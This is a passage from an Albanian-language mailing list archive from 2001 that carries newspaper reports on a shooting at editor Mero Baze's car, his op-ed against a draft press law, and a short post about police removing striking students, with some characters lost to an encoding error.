cil?t kan? hedhur dyshimin se goditja mund t? ket? ndodhur koh? m? par?. Ekspertiza paraprake i ?sht? b?r? nga nj? punonj?s policie, i cili ishte m? shum? i m?rzitur pse gazeta kishte shkruar rreth atentatit se sa nga fakti q? makina ?sht? q?lluar.M? pas, punonj?s t? zyr?s s? kriminalistik?s, t? cil?t ndon?se nuk kan? hartuar nj? raport p?rfundimtar jan? shprehur p?r nj? goditje me arm? zjarri. P?rfundimisht pas matjeve t? b?ra, punonj?sit e Ministris? s? Rendit, pra ekspert?t zyrtar?, kan? pohuar se kemi t? b?jm? me nj? goditje me arm? zjarri, por nuk kan? p?rcaktuar koh?n se kur ka ndodhur ngjarja dhe tipin e arm?s. "Laboratori duhet t? b?j? ekspertimin p?r t? par? se kur ka ndodhur ngjarja",-jan? shprehur zyrtarisht punonj?sit e zyr?s s? ekspertimit kriminalistik, nd?rsa kjo ka p?r?ar? n? q?ndrim k?t? grup. Disa prej tyre kan? pohuar se goditja ?sht? e fresk?t, ndon?se p?r k?t?, kan? shtuar ata, duhet t? pritet ekspertimi p?rfundimtar. P?rfundimisht makina i ?sht? n?nshtruar nj? ekspertimi, por ajo q? ?sht? e r?nd?sishme ?sht? fakti se si ekspert?t privat? ashtu edhe ata t? Ministris? s? Rendit kan? pohuar se makina ?sht? goditur nga nj? predh?. Deklarat? e Forumit Shqiptar p?r Mediat e Lira Atentat i d?shtuar ndaj kryeredaktorit t? gazet?s "TemA Makina personale e kryeredaktorit t? gazet?s "TemA" Mero Baze ?sht? q?lluar me arm? zjarri n? mbasditen e dat?s 6 prill, n? pjes?n e pasme t? saj. Redaksia e gazet?s tha n? nj? deklarat? p?r shtyp, se makina ?sht? q?lluar nd?rkoh? q? n? t? ka qen? i vet?m kryeredaktori i gazet?s. Redaksia e cil?soi sulmin nj? p?rpjekje p?r shantazh ose nj? atentat i d?shtuar, i cili mund t'i merrte jet?n kryeredaktorit. Makina gjendet e bllokuar n? rajonin e policis? num?r 1 n? kryeqytet p?r ekspertiz? balistike t? plumbit q? e ka q?lluar, nd?rsa redaksia thot? se shkak p?r sulmin mund t? jen? botimet e koh?ve t? fundit n? faqet e k?saj gazete, q? kan? pasur si tem? t? dit?s, publikimin e dokumenteve q? komprometojn? shum? zyrtar? t? lart? shqiptar? t? p?rfshir? n? nj? rrjet droge, kontraband? doganash, trafikun e refugjat?ve dhe prostitutave dhe skafeve n? Vlor? si dhe raportet mbi d?shmit? e pabotuara t? pjes?marr?sve n? vrasjen e deputetit Azem Hajdari. Kryeredaktori i gazet?s i tha shtypit se t? vetmet probleme q? ka gazeta jan? marr?dh?niet e k?qija t? saj me zyrtar?t e lart? t? shtetit shqiptar, p?rfshi kryeministrin, shefin e sh?rbimit Sekret, ministrin e Financave dhe disa zyrtar? t? akuzuar nga gazeta, t? p?rfshir? n? vrasje, trafiqe dhe korrupsion. Plumbi ka shpuar dy shtresat metalike t? vetur?s tip BMW. N? interpretimet e para jo zyrtare t? ekspert?ve q? v?zhguan makin?n, mendohet se ajo ?sht? q?lluar me pistolet? n? nj? distanc? jo shum? t? af?rt, kur makina ka qen? n? l?vizje. Plumbi ka shkaktuar nj? vrim? 7,3 milimetra n? hyrje. Zoti Baze faj?soi p?r sulmin, klim?n e presionit dhe revanshit q? qeveria ka krijuar kund?r shtypit q? nuk ka n?n kontroll para fushat?s elektorale. Ai tha se personazhet kryesor? me t? cil?t gazeta ka pasur probleme, jan? zyrtar? t? lart? t? shtetit shqiptar dhe partis? n? pushtet dhe e vetmja pist? q? ai mendon se ka shkaktuar atentatin vjen pik?risht nga k?to drejtime.N? nj? deklarat? transmetuar nga radioja "Z?ri i Amerik?s", Baze tha se q?llimi m? i pak?t i sulmit mund t? jet? shantazhi p?r t? mbyllur goj?n gazeta dhe gazetar?t q? punojn? me t?, nd?rsa m? e keqja ka qen? nj? atentat i d?shtuar ndaj jet?s s? tij.Qeveria nuk ka b?r? ende komente zyrtare, por shtypi i kontrolluar prej saj ka heshtur dhe ka shmangur njoftimet mbi atentatin. Partia Demokratike n? opozit? e ka d?nuar atentatin n? nj? konferenc? t? posa?me p?r shtyp dhe ka akuzuar sh?rbimin Sekret dhe qeverin? shqiptare si t? implikuara n? k?t? fushat? terrori mbi shtypin. Raport i radios Z?ri i Amerik?s Sulmohet me arm? kryeredaktori i "TemA" Persona t? panjohur sulmuan mbr?m? me arm? zjarri kryeredaktorin e gazet?s "Tema", Mero Baze, nd?rsa po drejtonte automjetin n? nj? nga rrug?t kryesore t? Tiran?s. Nj? plumb pistolete ka shpuar pjes?n e pasme t? makin?s s? tij pa i shkaktuar ndonj? plagosje. Zoti Baze thot? se plumbi mund t? ket? ardhur nga nj? arm? me silenciator pasi nuk ka d?gjuar zhurm?n e madhe t? nj? t? sht?ne dhe dyshimi i vet?m i tij adresohet tek dy djem t? rinj q? e kan? shoq?ruar k?rc?nuesh?m me nj? makin? benz t? bardh? me targ? t? huaj. " N? koh?n kur po kaloja n? rrug?n p?rpara Parlamentit, n? drejtim t? Ur?s s? Lan?s, tek rruga e Elbasanit, kam patur nj? sken? nervoze me nj? makin? mercedes t? bardh? me targa italiane q? e drejtonin dy djem t? rinj, t? cil?t tentuan dy her? t? parakalonin nga t? dy an?t e ndryshme t? makin?s duke e k?rc?nuar, por nuk i kam vler?suar shum? seriozisht k?to gjeste. Nuk jam i sigurt n?se kam d?gjuar nj? krism? plumbi mbi makin?n, por kur jam kthyer p?rpara redaksis? dhe parkova makin?n konstatova vrim?n e plumbit n? pjes?n e pasme t? makin?s, nj? plumb q? sipas disa ekspert?ve t? policis?, i p?rket nj? pistolete me silenciator. Drejtimi i saj ?sht? n? nivelin e shpin?s s? drejtuesit t? automjetit".Gazetari Baze thot? se k?t? goditje me arm? e vler?son si nj? shantazh ndaj gazet?s "Tema" n? prag t? zgjedhjeve ose si nj? atentat t? d?shtuar ndaj kryeredaktorit t? saj. "?sht? nj? gj? shum? shqet?suese kur e shikon q? ky sulm b?het n? prag t? fushat?s elektorale. N? rastin m? t? mir?, do ta merrnim si nj? shantazh ndaj gazet?s p?rpara se t? fillonte fushata elektorale dhe kur tensioni politik n? Shqip?ri ?sht? n? rritje. Gazeta jon? ka nj? q?ndrim shum? kritik ndaj qeveris? nd?rsa, n? rastin m? t? keq, kjo mund te ket? qen? nj? p?rpjekje e d?shtuar p?r atentat ndaj kryeredaktorit."Zoti Baze thekson m? tej se nuk ka asnj? konflikt personal dhe se e vetmja arsye e sulmit mbetet q?ndrimi kritik i gazet?s s? tij ndaj qeverisjes. "P?r momentin, i vetmi dyshim i imi ?sht? n?se u ka rr?shqitur dora posht? dhe s'kan? q?lluar drejtp?rdrejt nga pas kok?s apo kan? q?lluar vet?m p?r shantazh. Nuk kam ndonj? problem personal apo ndonj? hasm?ri me dik? n? Tiran?. P?rkundrazi, jam nj? gazetar q? p?rgjith?sisht eci me k?mb? n? rrug?t e Tiran?s, i vet?m dhe i pashoq?ruar. Nuk kam probleme personale. I vetmi problem ?sht? puna q? un? b?j dhe q?ndrimi im kritik ndaj qeveris? ."Mero Baze ?sht? nj? prej gazetar?ve dhe analist?ve m? t? njohur t? Shqip?ris?, shkrimet e s? cilit u kan? sjell? jo pak shqet?sime politikan?ve dhe zyrtar?ve shqiptar?. Autori i disa librave publicistike p?r ngjarjet n? Shqip?ri dhe Kosov?, ai ?sht? nd?rkoh? edhe kryetar i nj? forumi p?r mbrojtjen e liris? s? mediave. Sulmi i fundit me arm? ndaj tij ?sht? n? vazhd?n e nj? serie k?rc?nimesh anonime dhe t? drejtp?rdrejta , t? cilat i bashkon vet?m nj? element, faktet dhe analizat q? ai shkruan. Sulmi me arm? ndaj k?tij gazetari t? mir?njohur sh?nohet gjithashtu n? val?n e marr?dh?nieve gjithnj? e m? t? acaruara mes shtetit dhe shtypit jo qeveritar. Zyrtar? t? lart? t? qeveris? kan? hapur dit?t e fundit t? pakt?n 50 procese gjyq?sore ndaj gazetar?ve opozitar? dhe jo qeveritar? t? cil?t, n? t? gjitha rastet, jan? d?nuar me gjoba tejet t? r?nda n?n akuza p?r fyerje dhe shpifje ndaj zyrtar?ve n? shkrimet e tyre p?r korrupsion dhe kontraband?. Nd?rkaq, nj? pjes? e madhe e shtypit shqiptar vler?sohet tani e komprometuar nga fondet e t? hollave q? kan? marr? nga qeveria, ?ka shpjegon, sipas v?zhguesve, uljen e ndieshme t? toneve kritike ndaj qeveris? dhe mbajtjen e q?ndrimeve t? hapura proqeveritare t? tyre me fshehje dhe manipulime t? lajmeve.. Koment Pse duhet hedhur posht? projektligji i ri mbi shtypin Gjithcka ?sht? "Urdhri." Nga Mero Baze Komisioni parlamentar i Mjeteve t? Informimit Publik ka shp?rndar? koh?t e fundit nj? projektligj mbi shtypin, i cili formalisht do t? mbush? boshll?kun ligjor q? ekziston n? legjislacionin p?r shtypin n? Shqip?ri. Projektligji m? shum? se i shkruar stilistikisht mir?, ?sht? i mbisunduar mir?, nga stili tinzar i t? kontrolluarit t? shtypit, p?rmes krijimit t? burokracis? s? censur?s n? Shqip?ri. Ajo q? parlamentar?t e momentit e quajn? "Akt i Liris? s? Shtypit" n? fakt, ?sht? nj? akt zyrtar p?r krijimin e nj? administrate politiko-juridike, e cila t? shk?pus? p?rgjegj?sin? e shtetit nga censura mbi shtypin dhe ta konsideroj? kontrollin e shtypit, nj? nevoj? p?r vet? shtypin. Projektligji ?sht? i ndar? n? dy pjes? t? cilat nuk kan? asgj? t? p?rbashk?t me nj?ra tjetr?n, n?se b?het fjal? p?r nj? ligj p?r shtypin. N? pjes?n e par?, rregullohen marr?dh?niet e shtypit me shtetin dhe shoq?rin? dhe ka hap?sir? p?r debat. N? pjes?n e dyt?, flitet p?r q?llimin e v?rtet? t? k?tij ligji, i cili ?sht? krijimi i nj? administrate p?r kotrollin e shtypit, i quajtur "Urdhri i gazetarit". Krijimi i k?saj administrate, duket se ?sht? b?r? sipas modelit q? ?do komision parlamentar t? propozoj? krijimin e nj? policie. K?shtu, n?se Komisioni Nd?rtim- Strehimit ka propozuar ngritjen e policis? nd?rtimore apo policis? bashkiake, Komisioni i Rendit ka propozuar krijimin e xhandarm?ris?, komsioni i Medias ka propozuar ngritjen e Urdhrit t? Gazetarit. Le ta shohim m? konkretisht embrionin e k?saj policie q? propozon Parlamenti shqiptar. Defektet n? koncept Projektligji p?r shtypin, i propozuar nga Komisioni Parlamentar, s? pari ka defekt n? objektin e tij, pasi ai, p?rve?se merr p?rsip?r t? rregulloj? marr?dh?niet e shtypit me publikun dhe shtetin, merr p?rsip?r t? rregulloj? edhe marr?dh?niet brenda llojit, pra raportet brenda vet? shtypit shqiptar dhe grupimeve t? tij. N?se rregullimi i marr?dh?nieve t? shtetit me shtypin, ?sht? nj? detyrim shtet?ror, kjo e fundit, ?sht? nga t? paktat detyrime q? kan? shtetet demokratike p?r t? mos e b?r?. P?r k?t? arsye, ky projekt fillon keq qysh n? nenin 2, n? pikat 3 dhe 4 t? tij, t? cilat paralajm?rojn? se shteti do t? vendos? rregull edhe brenda vet? shtypit shqiptar. Dhe n?se nj? shtet ka vendosur t? mbaj? rregullin dhe qet?sin? n? nj? pushtet t? till? si ai i shtypit, at?here, gazetar?t nuk jan? gj? tjet?r, ve?se n?pun?s shtet?ror?. P?r m? tep?r, ky defekt n? koncept bie n? sy, se pavar?sisht d?shir?s p?r ta nisur projektligjin duke p?rcaktuar marr?dh?niet mes shtetit dhe shtypit, n? t? gjitha nenet, ndeshesh me kufizimet q? vijn? nga "Urdhri i gazetarit" i cili p?r lexuesin e faqeve t? para t? k?tij projektligji, ?sht? ende nj? projekt abstrakt. Fjala vjen n? nenin 7 t? k?tij projektligji, p?rcaktohet qart? se kryeredaktori i nj? gazete duhet t? jet? doemos an?tar i Urdhrit t? Gazetar?ve dhe t? mos jet? i ndjekur penalisht, nd?rkoh? q? t? dyja k?to kushte, nga m?nyra se si ?sht? nd?rtuar ky ligj, e l?n? shtypin shqiptar, me kryeredaktor t? em?ruar nga qeveria. Mjafton t? marrim si shembull kryeredaktorin e gazet?s "Rilindja Demokratike" q? ?sht? d?nuar tet? her?, duke filluar nga gruaja e kryeministrit, kryeministri, z?dh?n?si i kryeministrit dhe ministrat e tij. Ky njeri nuk duhet t? jet? m? kryeredaktor dhe sipas k?tij projektligji, duhet gjetur dikush q? nuk e ka inat as kryeministri, as gruaja e tij, as ministrat, bile as bodigardi i tij. N? nj? far? m?nyre kjo do t? thot? se duhet gjetur nj? kryeredaktor i p?rshtatsh?m. N? nivelin e kultur?s politike n? Shqip?ri, ku shteti b?n kujdes t? mos zbatoj? asnj? rregull balance, ku kryeministri jep grante vet?m p?r gazetat q? e mb?shtesin at?, ku gjykatat d?nojn? vet?m gazetar?t q? kund?rshtojn? kryeministrin, ku institucionet shtet?rore, b?jn? reklam? vet?m tek gazetat t? cilat jan? servile t? kryeministrit, p?rfshi dhe gazeta t? cilat dalin n? 100 kopje dhe nuk arrijn? dot as jet?gjat?sin? e kontratave t? n?nshkruara me qeverin?, si? ?sht? rasti i gazet?s "24 or?", nj? sanksionim me ligj i cil?sive t? kryeredaktorit i ngjan dhjet? cil?sive t? komunistit, t? cilat dikur deklaroheshin por nuk k?rkoheshin, kurse tani nuk deklarohen, por k?rkohen p?r t? kontrolluar shtypin. Po k?shtu, m?nyra se si shteti p?rpiqet t? shmang? detyrimet ndaj shtypit me p?rfaq?simin formal n? gazetat partiake, ?sht? n? funksion t? arbitraritetit, n? dh?nien e informacionit, shp?rndarjen e reklam?s dhe kritereve q? duhet t? p?rbush? shtypi q? t? p?rfitoj? k?to t? drejta. Duke theksuar se qeveria ka detyrime ndaj dy gazetave kryesore partiake, p?r publikim njoftimesh dhe informacioni qeveritar, n? fakt, p?rpiqet t? largohet p?rgjegj?sia p?r at? q? do t? b?het me gazetat e tjera t? cilat nuk jan? partiake, por kan? q?ndrime t? qarta pro dhe kund?r qeveris?. Me k?t? logjik?, kryeministri konsideroi se gazeta "Tema", e cila ?sht? nga m? kryesoret n? treg, nuk meritonte t? merrte grant financiar nga qeveria, kurse disa periodik? q? dalin p?r problemet e grave t? pamartuara, por q? shoq?rohen n? ?do num?r me nj? intervist? me Hysni Milloshin, t? merrnin miliona lek?. Konsolidimi ligjor i k?saj praktike tashm? t? provuar si negative, d?shmon se shteti po p?rpiqet t? kthej? p?rvoj?n e tij m? t? keqe kund?r liris? s? shtypit, n? nj? institucion t? p?rhersh?m tashm? t? mbrojtur me ligj. Duke qen? i konceptuar si nj? projektligj i cili duhet t? b?j? zap shtypin, parlamentar?t e momentit, kan? ngat?rruar detyrimin e tyre politik p?r t? garantuar lirin? e shtypit me detyr?n e tyre partiake, p?r t? b?r? nj? shtyp n? sh?rbim t? tyre. Dhe defektet e konceptit t? tyre nuk jan? aq t? m?dha n? pjes?n e par? t? projektligjit, p?rve? disa neneve, q? lidhen me pjes?n e dyt?. Por pjesa e dyt? e k?tij projekligji, jo vet?m q? shum?zon me zero pjes?n e par?, por e b?n shum? t? rrezikshme edhe pranin? e pjes?s s? par? n? ligj, pasi humbet ?do shans q? marr?dh?niet e shtypit me shoq?rin? dhe shtetin t? rregullohen n? ndonj? m?nyr? tjet?r,p?rve? k?saj. Krijimi i institucioneve t? censur?s. Duke theksuar gabimet n? koncept t? k?tij projektligji, theksova se ai ka si defekt themelor p?rpjekjen p?r t? vendosur rregull shtet?ror brenda vet? pushtetit t? shtypit. Ky defekt, i konkretizuar pastaj me pjes?n e dyt? t? ligjit, ku k?rkohen ngritja e infrastruktur?s p?r censur?, kthehet n? nj? "vrim? t? zez?' e cila g?lltit gjith?ka nga lira e shtypit n? Shqip?ri. Dhe e gjith? p?rpjekja ?sht? b?r? p?rmes detyrimit ligjor q? gazetar?t shqiptar? t'i n?nshtrohen "Urdhrit t? Gazetarit" si institucion suprem i tyre. Duke abuzuar me disa praktika t? pakta t? ngjashme n? bot?, por t? cilat nuk kan? form?n e detyrimit ligjor, parlamentar?t e monetit n? Shqip?ri, p?rpiqen t'i imponojn? shtypit shqiptar, at? q? mund t? quhet fare mir?, "Diktatura e OJQ"-ve. Urdhri i Gazetarit, ekziston dhe n? ndonj? shtet tjet?r t? k?tij planeti, por ai ?sht? n? form?n e nj? organizate joqeveritare, q? ka vet?krijuar autoritet moral p?r t'iu bindur gazetar?t. Ky realitet, jo vet?m q? ?sht? i paeksportuesh?m n? Shqip?ri, por ?sht? aq larg realitetit shqiptar sa ?sht? vet? shtypi i k?tyre vendeve nga shtypi shqiptar. N? nj? vend ku liria e shtypit ka personalitete vet?m me dhjet? vjet p?rvoj? n? gazetari dhe me nj? trash?gimi gati ideologjike t? paraviteve 90-t?, me nj? p?rvoj? t? hidhur t? etheve p?r t? kontrolluar shtypin nga qeveria dhe nj? mercenariz?m t? papenguar nga askush, dh?nia e fuqis? ligjore p?r nj? institucion t? till?, ?sht? as m? shum? as m? pak nj?soj si "Zyra e Shtypit e Komitetit Qendror". Krijimi i nj? urdhri t? till? n? Shqip?ri,mund t? jet? objekt i nismave personale t? gazetar?ve t? njohur shqiptar?, t? cil?t kan? mundur t? krijojn? vet? personalitetin e tyre dhe q? jan? pranuar n? nj? shkall? t? caktuar nga shoq?ria shqiptare. N?se ata ia mb?rrijn? k?saj pune, do t? thot? se n? Shqip?ri, ka nj? nivel t? caktuar t? komunikimit mes shtypit, n?se nuk ia mb?rrijn? at?here dhe ky ?sht? nj? tregues real i shkall?s s? emancipimit t? shtypit. Ne nuk mund t? krijojm? institucione q? t? mbushin me ligj humnerat e krijuara nga mungesa e vlerave n? shoq?rin? shqiptare. P?r m? tep?r nuk mund t'i japim fuqi ligjore nj? institucioni t? krijuar kund?r vlerave t? liris? s? shtypit. Koncepti i Urdhrit t? Gazetarit n? Per?ndim, ?sht? koncepti i vendosjes s? rregullave profesionale, dhe krijimit t? gjuh?s s? aristokracis? s? komunikimit mes gazetar?ve kurse parlamentar?t shqiptar? duhet t? shpallin nj? institucion me em?r t? ngjash?m p?r ta p?rdorur si argument t? luft?s q? shteti duhet t'i b?j? shtypit. M?nyra se si do t? nd?rtohet kjo infrastruktur? sipas k?tij projektligji, ?sht? shum? e qart?. N? fillim flitet p?r "Urdhrin", pastaj p?r kriteret e pranimit n? t?, ku sipas nenit 37 pika 3, t? gjith? gazetar?t aktual? t? shtypit shqiptar t? cil?t nuk i kan? pun?t mir? me qeverin? dhe q? kan? t? gjith? nga nj? deri 100 procese, nuk mund t? jen? an?tar? t? k?tij urdhri. M? tej akoma rekomandimin p?r t'u an?tar?suar do ta jap? nj? tjet?r an?tar i urdhrit, i cili aktualisht nuk ekziston. K?tu fillon dhe zbulohet gjith? mekanizmi i kontrollit shtet?ror mbi shtypin. Kush jan? Eva dhe Adami q? do t? lindin censor? N? Dispozitat e fundit t? k?tij projektligji, n? fakt, fillon i gjith? ligji dhe shpaloset i gjith? synimi i tij. Rrug?zgjidhja fillon nga Komisioni parlamentar i Medias, nj? institucion t?r?sisht politik dhe aktualisht t?r?sisht i kontrolluar nga shumica parlamentare. Ky komision do t? shpall? "Ev?n dhe Adamin", do t? shpall? pra dy institucionet e para q? do t? lindin pastaj q?niet q? do t? kontrollojn? shtypin n? Shqip?ri. Sipas nenit 64, Komisioni i Mjeteve t? Informimit Publik, mbi baz?n e propozimeve nga shoqatat dhe organizatat profesionale, tre muaj pasi t? miratohet ky ligj, do t? shpall? "K?shilltarin e P?rkohsh?m Komb?tar t? Urdhrit" , i cili do t? lind? regjistrin e gazetar?ve dhe do t? p?rgatis? p?r nj? vit infrastruktur?n e Urdhrit t? Gazatarve. Ky mekaniz?m do t? prodhoj? pastaj hibride t? pafund censor?sh, t? cil?t gjenez?n do ta ken? nga ky parlament, nga kjo shumic? parlamentare dhe nga ky mentalitet censure dhe kontrolli q? ka sot qeveria mbi shtypin.Gjith?ka q? vjen nga pas ?sht? kurth. Kjo q?nie e p?rkohshme do t? lind? nj? qenie t? p?rhershme e cila do t? quhet Urdhri i Gazetarit dhe q? do t? ket? kompetenca shum? her? m? t? m?dha se ish- censor?t e dikursh?m mbi gazetar?t shqiptar?. Neni 48 i k?tij projektligji parasheh kompetenca t? barabarta t? k?tij urdhri me ato t? nj? gjykate speciale p?r shtypin, i cili n?se merr fuqi ligjore, ngjan si mekaniz?m ndihm?s n? duart e qeveris? p?r t? vendosur n?n kontroll shtypin shqiptar. Duke mos dashur t? tremb? gazetar?t shqiptar? duke iu num?ruar se sa shum? t? drejta ligjore ka mbi ta ky p?rbind?sh q? do t? quhet "Urdh?r i gazetar?ve", i ftoj ata ta refuzojn? lindjen e tij. Neni 52, 53 54, 55. 56. 57, 58 dhe 59, ku flitet p?r katet disiplinore t? k?tij urdhri, jan? t? tilla, q? n?se i pranon t'i zbatosh, duhet t? dor?zosh fillimisht kart?n e gazetarit dhe t? k?rkosh statusin e n?pun?sit civil. Asgj? t? p?rbashk?t me profesionin e nj? gazetari nuk mund t? ket? nj? qytetar q? pranon t? vihet n?n detyrime t? tilla ligjore, sic ?sht? p?r shembul neni 58 i cili t? humbet t? drejt?n e t? q?nit gazetar, n?se kryetari i k?tij urdhri p?r intepretimet e tij t? shum?llojshme q? i garantohen nga 7 nene t? ?regjistron nga regjistri i urdhrit. ?sht? pak a shum? si kompetenca q? ka pasur dikur Lidhja e Gazetar?ve t? Shqip?ris? apo Lidhja e Shkrimtar?ve, t? cilat i rekomandonin zyr?s s? shtypit t? Komitetit Qendror heqjen e t? drejt?s p?r t? shkruar gazetar?ve ose shkrimtar?ve q? luanin nga vija e partis? shtet. Asgj? m? pak e keqe se ajo praktik?, nuk ?sht? e mish?ruar n? praktik?n e re. Asgj? m? pak e keqe se sa hija e censur?s dhe zyr?s s? shtypit t? Komitetit Qendror nuk po shfaqet s?rish. Dhe ata q? e duartrokasin tani, t? mos kujtojn? se kan? gjetur ?el?sin e shp?timit p?r t'i mbyllur goj?n shtypit, por thjesht jan? kthyer n? origjin?. Ky ligj, n?se b?het ligj, ?sht?, mes t? tjerash, i rreziksh?m p?r vet? ata, t? cil?t nes?r kur t? mos jen? m? parlamentar? dhe kur t? mos jen? m? shumic? politike, t? ndeshen me nje p?rbind?sh q? quhet Urdh?r i Gazetarit, i cili, p?r paradoks, mund t'i leje ata t? gjith? pa pun? dhe pa t? drejt? t? shkruari, p?r arsye q? n? k?t? projektligj i gjen shum? leht?.Komenti i vet?m p?r k?t? projekt ?sht? q? t? mbetet vet?m projekt, dhe t? d?nohet qoft? dhe si tentativ? p?r t? b?r? nj? ligj. Ndryshe t? gjith? do t? d?nohemi, pse pranuam q? n? Shqip?ri, shtypi i lir? t? ndalohet me ligj. Rekomandimi im i vet?m p?r hartuesit e k?tij ligji, ?sht? t? heqin dor? nga krijimi i nj? infrastrukture kontrolli mbi shtypin dhe t? b?jn? nj? projektligj q? garanton lirin? e shtypit, lirin? e marrjes s? informacionit, imunitetin publik t? gazetarit dhe t? drejt?n e qytetar?ve p?r t'u informuar. Ky projektligj garanton t? drejt?n e shtetit, p?r te qen? arbit?r dhe selektiv me shtypin, t? drejt?n e shtetit, p?r t'i hequr t? drejt?n nj? qytetari p?r t? qen? gazetar, t? drejt?n e shtetit p?r t? nd?rtuar infrastruktur?n e kontrollit t? shtypit dhe t? drejt?n e tij p?r ta ushtruar k?t? kontroll mb?shtetur n? ligj. Kjo sepse gjith?ka fillon dhe mbaron me "Urdhrin." -------------- next part -------------- HTML attachment scrubbed and removed -------------- next part -------------- [ The following attachment was DELETED when this message was saved: ] [ A Image/JPEG (Name="plumb-zjarr1.jpg") segment of about 65,514 bytes ] From tema at albaniaonline.net Wed Apr 25 07:20:16 2001 From: tema at albaniaonline.net (TemA) Date: Wed, 25 Apr 2001 13:20:16 +0200 Subject: [ALBSA-Info] Policet sulmojne studnetet Message-ID: <003401c0cd79$b5eb2f80$fff2fea9@mero> Studentet e Universitetit u nxoren nga greva me force duke u terhqur zvarre nga forca te policise. Ne foto Lefter Vogli, ish operativ i Sigurimit te Shtetit ne Qytetin Studenti, qe ka udhequr dhunen mbi studnete t e dhejtorit ne vitin 1990, duke terhqur zvarre serisht nje student. Foto Tema -------------- next part -------------- [ The following attachment was DELETED when this message was saved: ] [ A Text/HTML segment of about 5,090 bytes. ] -------------- next part -------------- A non-text attachment was scrubbed... Name: polic-lefteri copy.gif Type: image/gif Size: 68741 bytes Desc: not available URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: grev-urie-stud.jpg Type: image/jpeg Size: 60260 bytes Desc: not available URL: -------------- next part -------------- A non-text attachment was scrubbed... Name: pol-fill-grev.jpg Type: image/jpeg Size: 63274 bytes Desc: not available URL: